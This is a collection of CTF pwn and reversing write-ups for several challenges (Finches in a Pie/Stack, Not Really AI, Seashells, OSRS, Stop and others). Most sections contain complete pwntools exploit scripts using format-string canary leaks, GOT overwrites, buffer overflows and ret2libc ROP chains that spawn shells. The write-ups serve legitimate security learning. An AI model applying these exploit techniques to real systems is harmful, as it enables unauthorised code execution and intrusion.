Finches in a Pie

Description

There’s a service at , exploit it to get the flag.

Files

fiap

flag.txt (You need this in same directory as fiap for local exploit. fiap will read flag once you exploit it)

Enumeration

checksec

Running the code

Static Analysis

flag function

say_hi function

It takes two inputs from the user. First input is printed.

Since PIE is enabled, we would need to leak the stack for canary and leak the code section to override the changed canary with correct canary and override the ret with flag.

Exploit

First we will use the first BoF and string format vulnerability to leak the address of say_hi+13 and stack_canary. Here we have to use “%#$p” where # is the offset in the stack instead of using many “%p” to reveal the stack. Because offset we want to look into will be overwritten by %p. offset 3 is say_hi+13 address and offset 11 is canary address.

Then we would need to figure out where canary and ret reside when you are doing second BoF. Once you figure that out, we can make exploit that has PADDING + Canary Address + Padding2 + RET Address(Here we want to return to flag function).

from pwn import *

isLocal = True

if isLocal:
    p = process("./fiap")
else:
    p = remote("95.216.233.106",17954)

p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()

p.sendline("%3$p %11$p ")
first_recv = p.recvline().split(" ")

SAY_HI_13 = int(first_recv[2], 16)
CANARY = int(first_recv[3] , 16)
FLAG = SAY_HI_13 - 134

PADDING = 'A' * 25

#
# Padding
# Canary
# Padding 2
# FLAG

PADDING2 = 'B' * 12

buf = ''
buf += PADDING
buf += p32(CANARY)
buf += PADDING2
buf += p32(FLAG)

p.sendline(buf)
p.recvline()
print(p.recvline())

Snakes and Ladders

Descriptions

The flag is fqtbjfub4uj_0_d00151a52523e510f3e50521814141c. The attached file may be useful.

Files

main.py

Static Analysis

In encrypt(), it takes even index from string and performs algorithem. And for odd index, it does xoring.

Even Index

For each character, it will check if character is in between “a” and “z”. Pretty much checking if it is an alphabet. Then it will add 14 to it. Then check if it is alphabet still. If it isn’t it will make it into alphabet by subtracting 26 which is length of alphabet. This makes it so that result will always be an alphabet.

Odd Index

For odd index, they just xor first 15 character. then make it into hex.

Return

They then retun result from even index + odd index

Reversing

How I really feel

I feel like I should really learn to use z3 (Thoerom Solver). But This was easy enough to do it by hand. https://github.com/Z3Prover/z3

Even Index

Check if the text is in between “a” and “z”. If it is, subtract randnum(14). Then check if character is less then “a”. If it is, you add 26 to it.

Odd Index

First you want to undo the hex() and turn it into bytes. Then you want to undo the “utf-8” decoding. Then you can just use the same xor function since inverse of xor is xor.

Section of String to Read for Even and Odd Index

If you play around with encryption, you will realize that if you give string of 10 character, it will give you string that is 15. Which makes sense since for even index result, you will have 5. As for odd index it will be (len(input_string)/2) * 2 = len(input_string).

So if you give string that is 16 character, you will get 8 + 16 = 26 character string.

Putting even index and odd index list into correct string

You just have to loop through and ping pong between even index and odd index list to make a string.

Code

def decrypt(msg):

    even_text = msg[0:15]
    randnum = 14
    text_length = len(even_text)
    endtext = ""
    for i in range(0, text_length):
        weirdtext = even_text[i]


        if weirdtext >= "a" and weirdtext <= "z":
            weirdtext = chr(ord(weirdtext) - randnum)
            if weirdtext < "a":
                weirdtext = chr(ord(weirdtext) + 26)

        endtext += weirdtext

    # Decrypt xor string
    oddMsg = msg[15:]
    oddMsg= bytes.fromhex(oddMsg)
    oddMsg = oddMsg.decode("utf-8")
    
    xored = xor("aaaaaaaaaaaaaaa", oddMsg)

    endtext_list = list(endtext)
    xored_list = list(xored)
    result = []
    for i in range(0,15):
        result.append(endtext_list[i])
        result.append(xored_list[i])

    return ''.join(result)

Finches in a Stack (Unintentional Way)

Description

This challenge wasn’t suppose to be solved like this when I was discussing it with the author. To check out the intentional way, check out Finches in PIE. It is similar to this one except, PIE is enabled.

Files

fias

flag.txt (You need this in same directory as fiap for local exploit. fiap will read flag once you exploit it)

Enumuration

When you run the program, it will ask you for two inputs. And it talks about canary. I am guessing that you have to leak the canary and over ride the ret with the first input. Then fix the overwritten canary with the leaked canary.

Static Analysis

There is handy function called flag that prints out the flag

In say_hi(), we can see that the first_input can be used for format string vuln.

Second input also uses gets() so we can use it for BoF.

Solution

Looking at this problem, you can just use format string exploit to write to puts.got since after printf(&first_input) it will run puts and since we don’t return, we can go to flag function.

#!/usr/bin/python2.7
from pwn import *

isLocal = True

if isLocal:
    p = process("./fias")
else:
    p = remote("95.216.233.106", 34995)

elf = ELF("./fias")

GOT_PUTS = elf.got['puts'] # 0x804c01c
FUNC_FLAG = elf.sym['flag'] # 0x080491d2
p.recvline()
p.recvline()
#Flag addr 0x080491d2 
p.sendline(p32(GOT_PUTS+2) + '@@@@' + p32(GOT_PUTS) + '%.8x' * 4 + '%.2008x%hn' + '%.35278x%hn')

p.recvline()

p.recvline()
p.recvline()
print(p.recvline())

Not Really AI

Description

Exploit the service to get the flag.

Files

nra

flag.txt

Enumeration

checksec shows that THERE ARE NO MITIGATION AT ALL.

When you run the program, it repeats what you typed.

Static Analysis

With Binary Ninja we can check out where it reads and prints our input.

We can see that printf doens’t have any strings before it gives input. This is vulnerable to string format vulnerability.

Also, there is handy function where it “cat flag.txt”

Solution

Since it is Partial RELRO and has No PIE, we can just override puts.got with flaggy address.

#/usr/bin/python2.7
from pwn import *

isLocal = True

if isLocal:
    p = process("./nra")
else:
    p = remote("95.216.233.106", 25480)

elf = ELF("./nra")

GOT_PUTS = elf.got['puts']
FUNC_FLAGGY = elf.sym['flaggy']

p.recvline()

print(hex(FUNC_FLAGGY)) #0x08049245

p.sendline(p32(GOT_PUTS + 2)  + "@@@@" + p32(GOT_PUTS) + "%.8x%.8x%.2024x%hn%.35393x%hn")

p.readline()
p.readline()
print(p.readline())

Seashells

Description

I heard there’s someone selling shells? They seem to be out of stock though…

nc p1.tjctf.org 8009

Files

seashells

Enumuration

checksec

run

Static Analysis

main function gets() BoF

shell function

Exploit

Since PIE is disabled and there is no stack canary, we can use ROP to shell function.

from pwn import *

pop_rdi = p64(0x0000000000400803)
junk = 'a' * 18
shell = p64(0x004006c7)
shell_ret = 'b' * 8
shell_input = p64(0xdeadcafebabebeef)
ret = p64(0x0000000000400803+1)

p = remote("p1.tjctf.org", 8009)

p.recvline()
p.sendline(junk + pop_rdi + shell_input + ret + shell + shell_ret)
p.interactive()

OSRS

Description

My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees.

I don’t know what any of this means but this system sure looks old! It has like zero security features enabled…

Files

osrs

libc-2.27.so

Exploit

At first, you might think that this was simple BoF where you write shell on a stack and return to the shell. Since in description they say they have zero security features enabled. Well ASLR is enabled so it won’t work. We know that it wont work because if you give invalid tree, you get pointer and you can see that it changes every time.

Since PIE is disabled, we can just do ROP to libc. This technique is explained in this post so I won’t be writing about it. https://elnath.io/2020/05/30/stop/

from pwn import *

context.update(arch='i386', os='linux')

is_local = False
write_file = True
if is_local:
	p = process("./osrs")
	libc = ELF("/usr/lib32/libc-2.30.so")
else:
	p = remote("p1.tjctf.org", 8006)
	libc = ELF("./libc-2.27.so") #https://libc.blukat.me/?q=puts%3A0xf7e5e360
elf = ELF("./osrs")
rop = ROP(elf)

GOT_PUTS = elf.got["puts"]
PRINTF = elf.plt["puts"]
GET_TREE = elf.sym["get_tree"]
RET = rop.find_gadget(['ret'])[0]
JUNK = 'A' * 272
JUNK_ADDR = 'B' * 4


### First ROP ###
p.recvline()
p.sendline(JUNK + p32(PRINTF) + p32(GET_TREE) +p32(GOT_PUTS))
p.recvline()
LEAK_PUTS = p.recvline()
PUTS = u32(LEAK_PUTS[0:4])
print("LEAKED PUTS:" + hex(PUTS))

### Second ROP ###
offset_puts = libc.sym['puts']
offset_system = libc.sym['system']
offset_binsh = next(libc.search("/bin/sh"))

SYSTEM = PUTS - (offset_puts - offset_system)
BINSH = PUTS + (offset_binsh - offset_puts)
p.sendline(JUNK + p32(SYSTEM) + JUNK_ADDR + p32(BINSH))
p.recvline()
p.interactive()

Gym

Description

Aneesh wants to acquire a summer bod for beach week, but time is running out. Can you help him create a plan to attain his goal?

nc p1.tjctf.org 8008

Files

gym

gym.bndb (Binary Ninja DB)

Enumuration

Looks like you start at 211 lbs and you are trying to hit 180 lbs

Then it goes all the way up to day 7 and tells you if you reached to certain weight or not.

Reversing

Looking at disassembly, goal is to get to 0xb4(180)

Activity Effects

ActivityEffects
1weight = weight – 4
2weight = weight – 1
3weight = weight – 5
4weight = weight – 3

To get to 180 lbs from 211, we need to lose 31 lbs. And we get 7 days.

If you choose Activity 3 six times Activity 2 once, we should hit 31.

Stop

Description

I love playing stop, but I am tired of losing. Check out my new stop answer generator! It’s a work in progress and only has a few categories, but it’s 100% bug-free!
 

Files

 

Explanation

If we use pwn checksec on stop, we can see that there are no stack canary and no PIE. Since PIE is turned off, we can use ROP!
image-4
 

In main(), there is buffer over flow in read function. read(0x0, *(rbp-0x110), 0x256) It can read up to 0x256 when buffer is from rbp – 0x110.

download

First ROP

First we can leak the address of __libc_start_main by jumping to printf(GOT__libc_start_main) and then returning back to main so that we can use the GOT__libc_start_main to calculate system from libc.
 
download
 

Second ROP

With system location calculated, we can jump to system(/bin/sh)
download
 

Exploiting Remote Server

When you try to use this exploit remotely, we have to remind ourselves that their stack alignment is different due to env variable and etc. Stack should be aligned by 16. We can add RET instruction to buffer over flow to make it aligned. Also, their libc will be different, so we can use https://libc.blukat.me/?q=__libc_start_main%3A0x7fa769469ab0 to look for their libc version with the leak __libc_start_main.
 

Exploit

#!/usr/bin/python2.7
from pwn import *

### Settings ###
is_local = False



### Setup ###
if is_local:
    p = process("./stop")
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.30.so")
else:
    p = remote("p1.tjctf.org", 8001)

    # You can find that remote is using libc by using the leaked
    # __libc_start_main address in this website. https://libc.blukat.me/?q=__libc_start_main%3A0x7fa769469ab0
    libc = ELF("./libc-2.27.so")

elf = ELF("./stop")
rop = ROP(elf)



### First ROP ###

# JUNK contains all the main stack + RBP.
JUNK = 'A' * 282


PRINTF = elf.plt['printf']
GOT_LIBC_START_MAIN = elf.got['__libc_start_main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
MAIN = elf.sym['main']
RET = rop.find_gadget(['ret'])[0]

offset_libc_start_main = libc.sym['__libc_start_main']
offset_system = libc.sym['system']

# All these RET is not needed locally. But remotely you need them to make stack byte aligned by 16.
p.sendline(JUNK + p64(POP_RDI) + p64(GOT_LIBC_START_MAIN)  + p64(RET) + p64(PRINTF) + p64(RET) + p64(MAIN))
sleep(1) # Delay for send.

first_msg = p.recv()

# Had to mess around with received message. It should be something like 0x00007fXXXXXXXXXX.
LIBC_START_MAIN = u64(first_msg[-20:-14].ljust(8,'\x00'))
print("Leaked __libc_start_main: " + hex(LIBC_START_MAIN))



### Second ROP ###

SYSTEM = LIBC_START_MAIN + (offset_system - offset_libc_start_main)
BINSH = next(elf.search("/bin/sh"))

p.sendline(JUNK + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM))
sleep(1)

second_msg = p.recv()
p.interactive()